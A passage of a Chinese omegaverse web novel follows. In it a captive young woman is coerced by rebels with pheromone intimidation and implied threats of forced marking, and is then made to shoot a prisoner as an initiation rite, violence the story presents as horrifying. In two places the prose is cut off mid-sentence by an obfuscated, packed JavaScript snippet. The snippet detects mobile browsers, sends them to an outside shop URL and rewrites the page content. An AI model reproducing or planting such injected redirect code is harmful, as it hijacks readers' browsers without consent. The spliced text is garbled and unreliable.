她居高临下,语调骤冷:“特殊监狱里不止关着我们的同伴,还有许多帮助了我们的人,只是我们并不知道他们的名字。” “尤纪,回答问题之前,你要先想清楚,我们至今没有追究你为什么会跟一个银发贵族在一起。” 艾琳不再压抑信息素,百合花的味道立即弥漫开来,很快充斥了整个房间。 Alpha信息素的味道让尤纪有些呼吸困难。她感到帝国产的劣质抑制剂有些失效了。 一股寒意顺着尤纪的脊背爬上来。 这是悄无声息的威胁。 除开艾琳,房间外还有许多正在易感期、苦于抑制贴缺货的Alpha。 如果她敢说一个不字,立马会有饥-渴的Alpha冲进来标记她。那些人可不是桑雷斯那样的残次品。 正当这个时候,有一个Alpha男性打开房门,手里提着个茶壶。 “艾琳,你们聊了这么久,需要喝水吗?” 虽然他是朝着艾琳说话,可他的眼睛却像是黏在了尤纪的身上。 尤纪全身的细胞都在叫嚣着逃跑。她回头看着艾琳,眼前的女性Alpha正面带微笑地看着自己。 她的微笑里带着一股森冷的气息:“你想喝水吗,尤纪?” 艾琳明明问的是想不想喝水,可尤纪却能敏锐地察觉到了她的潜台词——你想成为他们其中一个人的Omega吗? 她不合时宜地想,大概这要归功于安德烈的“培训”。 “我不口渴,谢谢您,”尤纪几乎要站不稳了,她努力抬起头,看着艾琳微笑的面庞,“给我纸笔,我可以画出来特殊监狱的位置和地图。” 艾琳重新控制了信息素的释放,让尤纪有了喘息的空间。 她递过来纸笔,严厉地喝退了门口那个探头探脑张望的Alpha,又对着尤纪十分柔和地问着:“为什么你会知道特殊监狱的位置?你和那个银发贵族是什么关系?” “不想回答也没有关系,我们会原谅你的。” 不回答?怎么能不回答呢。 如果不回答,他们会保持对她的怀疑,说不定会挖出她和桑雷斯的关系。 她早就编好了一肚子的谎话。 他们居然没有把她和兰德尔分开关押,给了他们串供的时间。 “我和安德烈是在第九大街认识的,那时候我哥哥被捕入狱,我焦急地在大街上乱转,突然成年了……安德烈为我提供了帮助,带我注射了抑制剂,还让我在他家停留了几天。” 第九大街地处蒂亚中心区,到处都有帝国的驻军,反抗军的势力应该不会发展得那么大。 “然后他知道了我在想办法救出哥哥,刚好他是总督的副官,对连弛是罪犯的事情保持怀疑,于是他就用特权,带我去了特殊监狱……” “到特殊监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236869|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱我才发现,那里以前是蒂亚国生命科学研究院,我以前去过几次,记得那里的密道……后来我知道了哥哥有一份工单可以证明他的清白,所以他就带我回了家中。” “我想要制造混乱,是想用‘救命的恩情’来得到他的一个承诺。毕竟,帝国的贵族是有特权去释放一个无辜的平民的。” 尤纪一边解释着,一边按照脑子里对蒂亚国生命科学研究院的印象,画出了大致的地图。 “还有你说的那个地下密道的位置。”艾琳紧紧盯着地图,温声提醒。 尤纪停了笔。 她望着艾琳近在咫尺的面孔,轻声问:“为什么你们要制造这么大的一场混乱?” 艾琳冷笑一声。 “帝国公开处决我们的同情者,我们当然要用激烈的手段去回应!我们要让蒂亚国的所有人都知道,帝国靠着恐怖镇压所得来的秩序,可以用更大的混乱来打破!” “他们在蒂亚国的统治是脆弱的。” “更何况,我们那些缺少抑制贴的的战士们,也有需要发泄的途径。” 艾琳的眼神放空,仿佛在说着什么崇高的理想。 尤纪却并不认同他的观点。 所以,那些被波及到的普通人呢?他们的生命不在反抗军的考虑范围内吗? 她已经从新闻中听过太多普通人被混乱波及,丢了生命的事情了。 但尤纪不敢问出来。 她画出了密道的位置。 等停了笔,尤纪又问:“爆炸是你们做的吗?” 艾琳似乎不太愿意说这件事情,她有些回避,只说了一个“嗯”。 尤纪又想起了那个一直在播放歌声的742-89频道,继续追问:“那信号劫持呢?” 艾琳摇摇头:“不是我们,不知道是谁。可能联邦的人做的吧,我们至今没有联系上他们。” 她回答完,又催促着尤纪标记密道周边的标志物。 尤纪落了笔,检查了一遍地图,确认没有什么太大的问题之后,才交给了艾琳。 艾琳收下了地图。 不知不觉中,她已经靠得太近了,红色的发丝贴着尤纪的脖颈,让尤纪有些痒。 后颈的腺体又开始躁动起来。它好像很喜欢这个百合花的信息素味道。 尤纪后退一步,远离了这个危险又迷人的女性Alpha。 “我什么时候可以离开这里?我……有些害怕。”尤纪坦诚地说出了自己的感觉。 艾琳“啊”了一声,主动远离了尤纪,还对尤纪道了歉。 她状似不经意地问道:“我们这里有很多Alpha,你需要挑选其中一个来保护你吗?” 尤纪摇了摇头。 “我有喜欢的人了,他叫奥尔多·谢尔,是我的同学,更是个罕见的混血儿。” 她已经很久没有见过奥尔多,也已经很久没有想起他了。不知道谢尔先生的病好了没有。 “谢尔?”艾琳似乎是在回想什么。 半晌后,她试递过来一枚袖扣。 “尤纪,你要加入反抗军吗?我会保护你不受Alpha的骚扰。你放心,我不会对你动手,我对我逝去的爱人永远保持忠诚。” 尤纪其实很想摇头。 经历了被绑架和被威胁之后,她根本就不信任反抗军,更别提加入他们了。 但尤纪还是沉默地接了过来。她需要艾琳的保护。 这枚袖扣很新,没有磨掉后方的扣眼。 或许是装载了理想的缘故,拿在手里有股沉甸甸的分量。 几乎要把她压得直不起腰来。 艾琳微笑着向尤纪伸出右手:“尤纪,欢迎加入我们。” 尤纪回握了她。 艾琳拿出了一支蒂亚产的抑制剂,微笑着递给尤纪。 “听话的姑娘应该得到奖励。”她说。 听话的姑娘。 尤纪沉默着接过抑制剂,在艾琳的注视下,将针头刺入自己的血管。 受到信息素影响的身体骤然一轻,尤纪觉得前所未有地舒服。 她抬起头,露出一种脆弱和无助的表情,小声地对艾琳提出了自己的请求。 “可以给安德烈校尉换一个更好的囚室吗?我觉得他是帝国军队里为数不多的,对新人类保持善意的人……” 艾琳长久地凝视着尤纪。 最后,她同意了这个请求。 21. 帝国的公开反击 尤纪在反抗军的据点内度过了第一个夜晚。 艾琳没有食言。 她被安排在别墅的阁楼里,要接近她,必须要经过艾琳的卧室。 尤纪并不想见他们任何一个人,包括艾琳。 阁楼不高,尤纪伸出手就可以碰到屋顶,拉开窗帘可以看到一片山林。 唯一的道路是从别墅院子大门往外延伸,将此处隔绝成鲜有人知的秘密之地。 结合了坐车前往此处的时长,尤纪猜测自己已经身处首都的郊区。 蒂亚首都三面环山,她甚至难以判断自己的方位。 连逃走都无处可逃。 尤纪躺在棉被上,翻来覆去,难以入眠。棉被是艾琳亲手铺的。 她铺棉被的动作娴熟,尤纪不可避免地想起了自己的母亲。 艾琳说,她也有一个女儿,是个女性beta。 尤纪难以想象,同样是作为父母,艾琳是怎么对一个年纪和她女儿差不多大的omega说出那些威胁的话。 夜色很暗,又在下雨,别墅后方的树木影影绰绰,像是什么即将扑过来的鬼魅。 从总督的情人到反抗军成员,她被裹挟着身处夹缝之中,到现在,竟然无路可退了。 反抗军将尤纪纳入人质交换名单,看起来像是对连弛的帮助。 如果他们成功了,连弛从帝国的监狱里出来,必定会被牢牢绑在反抗军的战车上。 而尤纪知道连弛对反抗军的态度。 连弛……连弛! 即使连弛做了黑市的生意,他也依旧是她要拼命相救的哥哥。 至于之后的事情,不管是留在反抗军还是远远地离开蒂亚…… 都只能走一步算一步了。 不知不觉中,尤纪哽咽起来。 “睡不着吗?尤纪。”艾琳的声音从下方传来。因为隔了一层地板的缘故,她的声音有些闷闷的。 尤纪停止了动作,静静地平躺在床上。 “有一点。”她尽可能平静地回答。 说实话,这里的条件比总督的别墅差上许多,没有通电,也没有自来水。 不知不觉中,她竟然有些怀念总督别墅的里那张松软的大床。 明明那里才是她噩梦的开始。 “早餐明天七点供应,起晚了就没有了,”艾琳顿了顿,又说,“起不来的话,我可以帮你留一份早餐。不过,早餐后有一场加入仪式,你需要参加。” “好的。” 尤纪闭上眼睛,听见了艾琳均匀的呼吸声。 第二天清晨雨停了,云层压得很低,预示着一场即将到来的暴雨。 但雨迟迟不下。 尤纪醒来得比从前要早,几乎是天一亮就醒了。 但艾琳没有醒,她只能睁着眼睛,盯着头顶的天窗,直到听到艾琳起床换衣服的声音。 等到艾琳到处走动的时候,尤纪才敲了敲地板,告诉艾琳她醒了。 “醒了吗?那就下来吧。” 尤纪还是穿着昨天的衣服。衣服已经脏了,上面还沾了兰德尔的血和囚室里的泥灰。 艾琳还是穿着昨天那身作战服,看见尤纪时候一愣。 “非常抱歉,我们这里没有你尺码的衣服……” “没关系,我自己洗了就可以。” 尤纪并不生气。 她跟兰德尔不一样,环境再怎么肮脏,她也可以忍受下去。 早餐在一楼,尤纪跟着艾琳慢慢走下楼梯。看得出来,艾琳故意放慢了脚步在等她。 她一出现在大厅内,就立即吸引了所有人的目光。 有四张大圆桌,每张桌边都坐着七八个人,中央放着任人取用的黑麦面包和黑咖啡。 这个据点竟然有二十多个Alpha,有男有女,男性Alpha的占比更高一点。 见到尤纪过来,他们齐刷刷地转头,目不转睛地盯着尤纪。 “今天,我们迎来了一位新的同伴。”艾琳走到他们面前,朝这里的反抗军们介绍。 “是个Omega呢。” “我们这里很少有Omega成员……”他们交头接耳。 “我们应该欢迎她?”有人问。 “欢迎加入反抗军!我们这里有Omega同伴了!” 尤纪在最后一步台阶定住了身形。 浓烈的、驳杂的信息素齐齐朝着尤纪涌过来,压得她喘不过气。 太多正在易感期的Alpha了,光是尤纪能分辨出气味的,就有七个。 这些Alpha们的信息素重叠在一起,让尤纪寸步难行。 艾琳鼓励的目光看过来:“尤纪,不向他们介绍一下你自己吗?” 迎着这一双双饱含了期待的眼睛,尤纪挺直了背脊,朝着这些反抗军们郑重地介绍着自己:“我叫尤纪,是个女性Omega,来自平民街。” 艾琳接过了她的话头:“她的哥哥是连弛。” 这句话,宛如在滚油中滴入了一滴清水。 众人的欢呼声停滞了一瞬,他们相互之间用目光交流着,每个人都难以掩饰心中的喜悦。 随即,掌声雷动,前所未有地热烈。 艾琳的双手向下压,止住了他们的欢迎。这一个小小的动作,让她在反抗军中的领袖地位显露无疑。 “我建议,先暂停早餐,直接举行欢迎仪式吧!” 艾琳的建议得到了众人的一致响应。 一句一句的口号从他们的口中说出来。 “为自由而战!” “解放蒂亚!驱逐帝国!” “建立平等的蒂亚国!” 有人唱起了《我们》,一开始,只是一个人在唱,慢慢地,这首歌像是病毒一样传染了大家,所有人都开始唱了起来。 “我们在夜色里穿行,我们穿过荆棘密布的丛林,我们跨着来福枪,我们与鸟兽同眠……” 在熟悉的旋律、强大的感染力、抑或是许多Alpha的信息素的影响下,尤纪的恐惧和不安被消弭。 她难以抑制心脏的鼓噪,跟着音乐,一同唱起了《我们》。 崇高的理想、坚定的信念,如同一轮耀眼的烈日,那么不可逼视,将她的自私、她的不堪、她的肮脏、她的阴暗暴露无遗。 愧疚感差一点要压垮她了。 她甚至想着,等连弛从狱中出来以后,无论如何都要说服他加入反抗军。 这是她的罪孽,她要为自己赎罪。 尤纪的脸庞微微泛着红。 她有一瞬间在这中间找到了归属感,差一点要将所有的秘密和盘托出。 但她忍住了。 因为有一位Beta并没有那么热情地参与到这个欢迎仪式中。 他站在门边,虽然口中在合唱,眼睛却静静地看着她,目光里泛出一丝同情和怜悯。 —— 吃过早餐后,尤纪坐在艾琳的身边,俨然像是她的副手。 艾琳的语气高亢,对着所有人大声宣告:“昨天,我们抓捕了一个来自帝国的银发贵族!今天,我们迎来了一个新同伴!明天,我们所有被抓的同伴,都会回到反抗军中!这是反抗军的胜利,是陆维亚的遗愿在起效,是蒂亚女神在庇佑我们!” “尤纪是我们勇敢的Omega,是我们反抗军的明珠!” 欢呼响起,口哨声此起彼伏,大家纷纷朝着尤纪送上女神的祝福。 这场景可以称得上是狂欢。 墙上的钟走到了八点整,刚好是蒂亚新闻广播电台播报一天新闻的时间。 在艾琳的示意下,那位Beta拿出收音机,拉长了天线。 “来吧,预先庆祝我们的胜利吧。” 这个电台毫无例外地播放着昨日的新闻。 一桩桩,一件件,都是反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244574|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗军们在蒂亚造成的混乱。大到平民街与驻防军火并,小到袭击一家帝国人开的商店。 每一起混乱,新闻都毫不遮掩地播报了伤亡的数字。 蒂亚国原住民的伤亡远远大于帝国人的伤亡,而帝国普通人的伤亡又远远大于帝国军人的伤亡。 而那些反抗军们——他们每个人的目光里都是狂热和兴奋——他们竟然在庆祝这些! 他们竟每天都在庆祝这些! 当播报帝国人和蒂亚原住民的伤亡时,他们欢呼雀跃,当播报反抗军的伤亡时,他们沉默哀悼。 荒诞而又怪异,怪异而又恐怖。 狂烈的信息素交织,尤纪腺体刺痒、发麻。 她的背上全是冷汗,立即从这群体性精神癔症中清醒。 “怎么了?”艾琳涂着红色指甲油的手攀上了尤纪的肩膀,“不舒服吗?尤纪。” 寒意顺着尤纪的脊柱爬上来,尤纪根本不敢回头看艾琳的脸。 “信息素太浓了,我……我有些喘不过气。” 她想,她的面色一定难看极了。 “坚持一下,尤纪。”艾琳拍了拍尤纪的肩膀。 很快,日常新闻播报后就是重要新闻。 但尤纪并没有从收音机的转播里听到桑雷斯·贝德福的声音。 女广播员的声音严肃:“总督署低级联络官安德烈·冯·哈耶克在平民街骚乱中失踪,据不明消息源,此人已被反抗军俘虏,该消息要求释放全部反抗军俘虏以交换人质。” “总督桑雷斯·贝德福阁下对这名联络官的失踪表示痛惜,并郑重声明,帝国不会为了一名普通军官与恐怖分子谈判。同时,帝国总督署悬赏三万元征集该军官失踪的相关线索,希望各广大蒂亚区公民积极提供。” “桑雷斯·贝德福阁下宣布,将在下午三点公开反抗军及其同党的处决名单。” 在“处决名单”几个字播出来的一瞬间,有人一拳砸碎了收音机。 艾琳脸色沉沉地警告他:“格威,破坏集体物资是要挨上一百棍的。” 名叫“格威”的男性Alpha气得满面通红。 他面目狰狞地质问艾琳:“怎么回事?我们抓的不是一个帝国的银发贵族吗?他的军衔不是校尉吗,怎么才值三万?” —— “我才值三万块悬赏金?”兰德尔大呼小叫起来,“我可是一名银发贵族!” 应艾琳及全体反抗军的要求,尤纪在加入反抗军后,第一次与兰德尔进行沟通。 艾琳坐在刑讯室的主位,尤纪沟通人兼主要翻译,那名Beta也会帝国语,他作为监督,站在艾琳的旁边。 兰德尔跪在地上,双手反剪,绑着麻绳。 还没有等尤纪开口,兰德尔又开始讲话了。 他的怨气甚至比格威还大,他挺直了脊背,以一名银发贵族的傲慢,抱怨这个据点物资的的贫乏以及反抗军的不友好。 这无疑是打了所有反抗军的脸。 艾琳阴着脸打断,又吩咐尤纪:“你告诉他,你已经加入了反抗军。” 尤纪如实转告了艾琳的话:“首领让我告诉你,我已经加入了反抗军。” “真的吗?”兰德尔的脸上出现了一种混合着惋惜和惊讶的表情。 “你在我的豪华别墅里住了那么多天,居然还能瞧得上这个被子都快要发霉、床硬得像水泥地板的鬼地方?我可是帮你见了你的哥哥啊!你不应该感谢我吗?” 尤纪皱着眉,对兰德尔的语言进行了一些加工。 但他的姿态、他轻慢的语调,却无论如何都无法美化的。 “好了,”艾琳十分不耐烦,停止了这场毫无意义的交流,“把他重新送回到那个环境最差的囚室吧。” 尊贵的帝国第三顺位继承人、帝国雄鹰军团少将兰德尔·贝德福殿下,将离开条件优越的软禁室,重新回归他忠诚的囚牢。 22. 欢迎仪式 乌云蔽日,天色晦暗。 尤纪躲在阁楼,看着外面风雨欲来的天空,静静等待这场暴雨的降临。 明知道这场暴雨迟早都要落下来,心里却总是期盼着它落得慢些。 帝国的反击非常有力,不但将“安德烈”说成是低级联络官,还要公布处决名单。 尤纪想不明白桑雷斯为什么要这么做。 这完全是把兰德尔往火坑里推。 他不想救出他的弟弟了吗? 而据点内的反抗军们,更是炸开了锅。 有人主张立即处死这个不值钱的联络官,作为对帝国公开声明的回应。 又有人认为还可以再跟帝国谈一谈价码——就算职位低下,也是一个银发贵族,实在不行从他嘴里撬出点关于帝国的情报也好。 他们的争论声音太大,就算在阁楼也能听到他们沸反盈天的吵闹。 她闭上眼睛,捂住了耳朵。 “咚咚咚——”有人敲了阁楼的地板。 尤纪从地板上打开门,刚好对上那位Beta的眼睛。 这位Beta是反抗军内唯一的Beta,似乎是艾琳的私人助理,又懂一些帝国语,是这个据点内的翻译。 Beta很快申明了他的来意。 “尤纪小姐,经过大家的一致表决,欢迎仪式要正常举行。” 尤纪愕然:“不是在吃早餐的时候,已经举行过仪式了吗?” 而且,举行欢迎仪式,为什么还要经过表决? “那只是一个开头,”Beta的面容沉静如水,他的目光里透出难以捉摸的意味,“接下来才是仪式的重点。” 尤纪回想起早餐时的场面,心脏被恐惧紧紧攥住。 Beta站在梯子下方,朝着尤纪伸出了手。 “下来吧。” 有光线照进来,他的皮肤呈现出一种近乎透明的白皙,尤纪可以清晰地看到他手背上青色的血管。 那张脸看起来精致而脆弱,和楼下的那些Alpha外露的攻击性皆然不同。 而且他是个没有信息素的Beta,不会让尤纪产生“要被标记”的恐惧。 尤纪扶着他的手下了楼。 下楼后,Beta的手立即松开了。 “只是一场欢迎仪式。”Beta说。 他的声音很好听,是一种清凌凌的少年音色,不知不觉就蛊惑了人心。 或许他是反抗军中难得一见的好人? 在全都是Alpha的环境中,他们有着类似的处境。 尽管不知道他的名字,尤纪却对他产生了一丝微妙的亲近感。 但很快,尤纪就知道了他说的“帮助”是什么意思。 山中别墅的花园内,正举行着一场盛大的狂欢——明明早餐还很简单,但此刻的花园长桌上,已经摆满了各式各样的丰盛食物。 烤鸡、腌鱼、牛排、奶酪…… 甚至还有一桶葡萄酒。 那些Alpha们都端着杯子,喝得满脸通红,众星拱月般围绕在艾琳身边。 尤纪震惊地看着这一幕,以为自己误入了什么宴会场景。 他们不是反抗军吗? 艾琳笑着朝尤纪举起了酒杯, 酒意让她的脸色泛起红晕,音调中多了几丝懒散的意味:“把人押过来吧,我们仪式的主角来了。” “尤纪来了!我们有Omega了!” “蒂亚的明珠来了!” 众人高呼着。 空气中弥漫的酒味混杂着Alpha们的信息素味道,让尤纪寸步难行。 Beta的手伸过来,想要握住尤纪,但是尤纪后退一步,无声地拒绝了。 她并不想在那么多人面前表现得跟他很熟。 “别害怕,”少年微微勾起嘴角,音色温和,“我会帮助你的。” 很快,尤纪就明白了他说的“帮助”是什么意思。 被押解过来的人几乎已经被折磨得不成人形,衣服破成一缕一缕挂在身上,捆绑的绳索上沾着血迹和碎肉。 而他的一头肮脏的、浸了血的金发,昭示着这是个来自帝国的人类。 格威迈着大步,醉醺醺地走过来,手里提着一把砍刀。 “这是个帝国的军人,砍了他!”格威大着舌头说。 他身上的酒味和信息素的味道混杂着,把尤纪逼得后退几步。 “怕什么?这是欢迎仪式的一个步骤。” 见到尤纪后退,他靠得近了些,强硬地抓住尤纪的手,把砍刀的手柄放到尤纪手中。 尤纪握不住,格威就将手包着尤纪的手,强逼尤纪拿起砍刀。 “杀了他,抓住他的头发,把他的头割下来,”格威的声音在尤纪的耳边炸响,“就想杀鸡一样!” 尤纪万万没想到,欢迎仪式的重头戏,是亲手杀一个帝国人! 她吓得快要站不稳,牙齿咬得咯咯作响,声音颤抖:“我不想杀人……” 见到她不情愿,格威扶着尤纪的肩膀,低头轻嗅尤纪的后颈。 “你是什么味道的Omega?花香?青草香?还是别的?” 简直是明目张胆的威胁。 尤纪惊恐地睁大眼睛,朝正在喝酒的艾琳投出求助的目光。 而艾琳并未如她所言的那样保护尤纪。 她仍旧坐在酒桶旁边,眼里泛着醉意,发红的眼睛里冷意闪烁。 但她的表情又非常温柔,像是一个鼓励后辈的温柔母亲。 “尤纪,杀了这个帝国人,你会真正成为一个反抗军的战士。” “杀了他,我会真正地保护你。” “我们会救出你的哥哥。你和你哥哥都会为反抗军效力,我们最后会解放蒂亚。” 尽管尤纪摇着头,但格威还是强硬地压着尤纪的肩膀,将她一步一步地往前推。 尤纪跌倒了,格威就提着尤纪的衣领,强迫她站起来继续走。 “你为什么不杀了他?”有人奇怪的问着,“我们的国家被帝国占领了,都怪这些可恨的帝国人!” “难道她要当蒂亚国的叛徒?”有人不可置信。 “尤纪,你是蒂亚的明珠啊!怎么可以同情该死的帝国人呢?”有人谆谆劝解。 尤纪最终来到那个帝国男人身边。 他抖如筛糠,有淡黄色的液体从他的身下流出来。 格威放开尤纪,踹了一脚帝国男人的肚子。Alpha强悍的身体素质,立刻把这个久经折磨的人类踹得满地翻滚,大声哀嚎。 而后,格威又提起那个人的头发,强迫他跟尤纪对视。 暗沉沉的天色里,尤纪和帝国男人无声地对视着,相互都在对方的眼睛里看到了绝望。 尤纪不敢再看,移开了眼睛。 “快点,杀了他!”格威的耐心快要耗尽,他恶狠狠地看着尤纪。 而艾琳,也不知不觉中走到了尤纪的身边。 她的玻璃杯中装着暗红色的红酒,正随着动作摇晃。 “尤纪,不要耽误大家的时间。下午三点我们还得哀悼被帝国杀死的同伴们,”艾琳督促着尤纪,“这个帝国军人杀了我们一个同伴,我们只是为同伴复仇。” 艾琳说得冠冕堂皇。 尤纪咽了一口口水。 所以,反抗军并不是无故杀人? 他们是正在举行一场“以牙还牙,以眼还眼”的同态复仇? 尤纪却不敢相信艾琳的话。 她强迫自己看向这帝国人。 眼前的这个帝国人看起来年纪有些大了,满脸的恐慌和惊惧,肚子上的肥肉被绳索勒成一圈一圈——不管是他的神情,还是他的体态,都完全不像一个军人。 于是,尤纪用帝国语问他:“你是个帝国的军人?杀了一个反抗军?” 此话一出,这个帝国男人像是抓到了救命的稻草一样,原本绝望的眼里,透出希冀的光。 “我只是个商人!我是和平派!我帮助过他们!但是他们……” 格威没有等他话说完。 他重重地扇了金发男人一个耳光,表情狰狞地看着尤纪。 “你到底动不动手?!” 尤纪手里的砍刀掉到了地上。 她被迫加入的组织,到底是以“解放蒂亚”为目的的反抗军,还是什么邪恶的暴力组织? 他们含了那么多崇高的口号,光辉的理想! 而他们,竟然要以杀人,作为进入组织的欢迎仪式!杀的人,竟然是个曾经帮助过他们的帝国人! “把刀捡起来!”艾琳的声音陡然冷厉,“尤纪,你今天必须杀了他。” “否则,我就杀了你。”格威补充道。 尤纪蹲下来,想要捡起砍刀,但她的手抖得厉害极了。 此刻的她,和这个将要被处决的囚徒,在某种程度上竟然没有任何区别。 同样是被绑架到这里,同样面临生命威胁。 他们的区别仅仅在于,尤纪是举起屠刀的那个。 尤纪跪在地上,手往前伸,触碰到砍刀的刀柄。 “地上凉,先起来吧,尤纪。” 她的面前出现了一只皮肤苍白到透明,青色血管蜿蜒可见的手。 是那个将她从阁楼上带到花园里的Beta。 尤纪握着他的手站起来。 她并不明白Beta的用意是什么,直到他递给她一把手-枪。 少年用他淡褐色的眸子注视着尤纪,淡淡说道:“用枪吧,你只是个Omega,没有那么大的力气去砍头。” ——原来,这就是他说的“帮助”。 周围是一片“嘘”声。 “亚历克斯,你来了啊,”艾琳高兴地将酒杯递给Beta,“用枪也可以,我们不介意。” “没有必要弄得那么血淋淋的。” 亚历克斯微笑着,毫不介意地就着艾琳用过的杯子, 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“啊,尤纪,”他被什么东西吸引了一般,朝着右边转过头去,耳侧的碎发擦过尤纪的额头,引起她身体战栗,“来了一位欢迎仪式的观众。” 尤纪顺着他的视线看过去——帝国的银发贵族正被押解着站在那里,被迫观看尤纪杀人的场面。 他头发乱糟糟,脸色发白,看起来没什么精神,但好在他的衣服上没有血迹。 兰德尔看了看尤纪,又看了看那个被绑着丢到地上的人。 他的表情非常疑惑,朝着周围的人说了什么,但他周围的Alpha没有听懂,只是恶劣地掰着他的头,要他观看一个帝国军人被处决。 一股恶寒从胃里上涌。 尤纪几乎瞬间就明白了反抗军为什么要这么做。 ——在一个帝国贵族的见证下,杀死另一个来自帝国的人。 她将会无路可退。 与此同时,帝国商人也看到了兰德尔。 他惊恐地瞪大眼睛,看着这个本来不应该出现在反抗军据点的帝国殿下,脱口而出:“兰——” 尤纪在他把话说完之前,扣动了扳机。 “砰——” 枪声乍响,尤纪的手臂被后坐力震得发麻。 帝国商人的一滴鲜血溅到她的脸上,灼得尤纪全身发烫。 她的力气正在流失。 明明亚历克斯在她的身后,但他并未扶住她,只是微不可见地后退了半步,任由尤纪脱力地地匍匐于地,像一朵萎靡的花。 尤纪杀人后,那些本来还在观望的Alpha们都欢呼起来。 他们仿佛忘记了帝国的反击、忘记了即将被处决的同伴,脸上重新出现喜悦和兴奋。 “欢迎尤纪的加入!” “欢迎!我们的明珠!” 一双双眼睛热烈地注视着尤纪。 “轰隆隆——” 雷声响起,等待已久的暴雨终于到来。 雨水冲刷着地面,带走所有的血迹。 酒精、信息素、食物,全都在一场暴雨里混作一团。 尤纪弓着腰呕吐,身躯弯成一只煮熟的虾。 她没有吃午餐,胃里空泛,只吐出了胃酸和胆汁。 亚历克斯解下外套披在尤纪的身上,帮她遮挡着砸落的雨滴。 尤纪听见艾琳在问:“亚历克斯,刚刚尤纪和那个帝国军人说了什么?” Beta少年想了一会儿,才翻译起来。 “尤纪问那个人,杀了几个反抗军,为什么要来蒂亚国。那人说他杀了一个,只遗憾为什么不能多杀几个。” 为什么亚历克斯要帮她? 尤纪无意思索这些,因为她听见了艾琳的下一句话。 “多亏了你,提前让尤纪举行仪式,”艾琳叹息着,“如果不是你,我还不知道要怎么让他们重新相信我。这个该死的帝国军人也是你抓住的,我们是时候让你升职了……” “有共同的敌人,才会让我们的信念更加坚定。”亚历克斯说。 “雨太大了,我先回去了,你等下把尤纪也带回阁楼吧。”艾琳转身离开。 反抗军们收拾了宴会的东西,也纷纷离开了花园。 偌大的花园,只剩下尤纪和亚历克斯两个人。 隔着重重的雨幕和升腾起来的水雾,尤纪看到亚历克斯唇角若有若无的笑容。 ——他是故意的。说不定兰德尔过来观看,也是他的提议。 Beta少年的头发被雨水淋得湿透了,垂在额头上的刘海一缕缕地往下淌着水。 他低头俯视着尤纪,目光里却带了点别的情绪。 “刚刚那个商人死之前想喊什么?”亚历克斯歪着头问尤纪,“你为什么要阻止他说话?” “兰——德尔吗?” 这一刻,尤纪从他的眼睛里看到了纯粹的恶。 23. 内部矛盾 雨滴砸落,溅起大大小小的水花。 一阵惊惧过后,尤纪发现亚历克斯似乎只是在开一个无伤大雅的玩笑。 因为他很快就自言自语,否定了他说出来的话。 “帝国的雄鹰应该在北方要塞。” 他摇摇头,自顾自地走了,没有理会还在淋浴的尤纪。 帝国商人的尸体还没有被拖走,尤纪双手撑着地面爬起来,凝视着不远处这具正被大雨冲刷的尸体。 雨水淋得尤纪睁不开眼,但她强迫自己去看他。 他胸口炸开一个血洞,有雨水盛在血洞里面,透明的雨水于是变成红色,再从血洞的边缘溢出去。 尤纪右手覆在左手上,朝他送上了女神的哀悼。 这是个无辜的商人,他死后理应闭上双眼,在蒂亚女神的注视下魂归天堂。 下午三点很快到来。 据点内的最后一台收音机被拿出来,作为公共物资摆放在会议室内。 女播报员开始念反抗军及其同党的处决名单——容奇、摩尔多…… 一个个同伴的名字从收音机的喇叭里播出来,有人愤怒,有人悲伤,有人哀悼。 科利尔……连弛…… 连弛?! 连弛居然在处决名单中! 尤纪浑身一震。 她死死地盯着眼前这群反抗军。 正是他们将连弛放入了人质交换的名单里! 这成为了连弛的催命符。 在念完长达三十人的处决名单后,女播报员公布了处决的时间:三天之后。 会议室内的紧绷气氛有了片刻的松懈,有人开始窃窃私语。 尤纪没来得及想别的,因为女声结束后,桑雷斯·贝德福的声音从收音机里响起。 不过是隔了短短的两天,再次听到他低沉而又富有磁性的声音时,却仿佛隔了几个月。 他的声音、他的气息、他的体温、他的皮革手套…… 他给尤纪打上了屈辱的烙印,让她仅仅是听到声音,就不自觉地不安。 但她不得不集中精神听他的讲话。 桑雷斯用帝国语复述了一次处决名单。 这一次,连驰的名字不在其中。 “贝德福帝国不会向任何恐怖势力低头,也不会放弃任何等待营救的帝国公民。” 这是桑雷斯·贝德福总督此次讲话的最后一句。 尤纪轻易地从中获取到了他暗中向她传递的信息。 三天之内,如果兰德尔不能平安回到总督署,连驰将会被送上帝国的绞刑架。 要她从这么多反抗军中救出兰德尔?这无异于天方夜谭! 一片哗然的反抗军据点也安静下来。 “刚刚贝德福在说什么?”艾琳问尤纪。 尤纪镇定地说:“他用帝国语把播报员的话念了一遍。” “有没有说别的?”艾琳转头看向亚历克斯。 亚历克斯的目光在尤纪的脸上略作停留,回答艾琳:“他说贝德福帝国不会向任何恐怖势力低头。” “帝国才是侵占了我们国家的恐怖势力。”格威愤恨地说。 尤纪的心落回胸腔里。 刚刚亚历克斯的眼神让她确信,他也听出了两份名单的差异。 但亚历克斯并没有说出来。 “好了,”艾琳清了清嗓子,“开始讨论下一步的作战计划吧。” 话音刚落,其他人就纷纷朝尤纪看过来,眼神里充满“离开”的暗示。 “我要回到阁楼上吗?”尤纪并不想错过这次的会议。 格威理所当然地点头:“作战计划是我们应该关注的事情,你又不是Alpha,参与会议又有什么用处?” 